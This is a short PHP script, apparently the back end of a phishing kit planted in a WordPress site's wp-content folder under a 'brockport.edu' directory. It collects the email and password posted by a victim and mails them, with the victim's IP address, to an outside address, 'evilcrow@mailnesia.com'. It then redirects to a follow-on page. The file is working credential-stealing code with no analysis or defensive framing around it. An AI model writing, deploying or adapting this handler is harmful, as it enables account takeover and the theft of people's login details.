File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/brockport.edu/theprocess.php
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$email = $_POST['email'];
$password = $_POST['password'];
// Prepare the email
$to = "evilcrow@mailnesia.com";
$subject = $_SERVER['REMOTE_ADDR'];
$message = "Email: " . htmlspecialchars($email) . "\nPassword: " . htmlspecialchars($password);
$headers = "From: evilcrow@mailnesia.com"; // Replace with your desired sender email address
// Send the email
mail($to, $subject, $message, $headers);
// Store the email in the session
session_start();
$_SESSION['email'] = $email;
// Redirect to season.php with the email as a query parameter
header("Location: season.php?email=" . urlencode($email));
exit(); // Ensure the script stops executing after the redirect
}
?>